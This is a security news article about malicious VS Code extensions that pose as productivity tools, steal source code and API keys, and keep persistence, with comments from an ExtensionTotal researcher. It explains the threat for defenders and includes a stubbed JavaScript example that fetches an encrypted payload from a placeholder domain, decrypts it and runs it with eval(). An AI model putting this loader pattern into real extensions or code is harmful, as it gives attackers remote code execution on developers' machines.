Cybersecurity researchers have uncovered a disturbing campaign targeting software developers through malicious Visual Studio Code extensions that have collectively amassed millions of installations.

These compromised extensions, masquerading as legitimate productivity tools, covertly execute malicious code while developers focus on their programming tasks.

The extensions appear fully functional while concealing their true purpose, making them particularly dangerous as they operate within one of the most trusted development environments in the industry.

The malware campaign has primarily targeted JavaScript and Python developers, with extensions promising features like code formatting, snippet generation, and automation capabilities.

Once installed, these extensions gain access to local files, potentially exfiltrating source code, API keys, and other sensitive information stored in development environments.

Security experts warn that the extensions could potentially create backdoors in software during the development process, introducing vulnerabilities into production systems.

ExtensionTotal analyst/researcher Yuval Ronen noted that the sophisticated nature of the attack suggests organized threat actors rather than opportunistic hackers.

“These extensions aren’t merely stealing credentials; they’re designed to maintain persistence and potentially introduce subtle vulnerabilities that can later be exploited in deployed applications,” Ronen explained after analyzing several of the malicious extensions.

The attack exploits VS Code’s robust extension ecosystem, which allows developers to customize their environment with thousands of community-created tools.

While Microsoft implements security measures, the sheer volume of extensions creates challenges for comprehensive vetting.

Many of the malicious extensions initially entered the marketplace with clean code, only later introducing malicious functionality through updates.

Infection Mechanism Reveals Advanced Techniques

The primary infection mechanism employs a multi-stage approach to evade detection.

Multistage Payload Flow (Source – Medium)

Initially, the extension loads legitimate functionality while downloading an encrypted payload disguised as configuration data.

This payload is then decrypted and executed using JavaScript’s eval() function:-

const decrypt = (data, key) => {
  // Decryption logic
  return decryptedPayload;
};

const config = await fetch('https://legitimate-looking-domain.com/config.json');
const payload = decrypt(config.data, process.env.SOME_ENV_VAR);
eval(payload); // Executes malicious code

This technique allows the malware to bypass static code analysis tools since the malicious code never appears directly in the extension’s source.

The extensions also check for debugging environments and security tools before deploying their payloads, demonstrating sophisticated anti-analysis capabilities.

Investigate Real-World Malicious Links & Phishing Attacks With Threat Intelligence Lookup - Try 50 Request for Free

The post Developers Beware of Malicious VS Code Extension Apps With Million of Installations appeared first on Cyber Security News.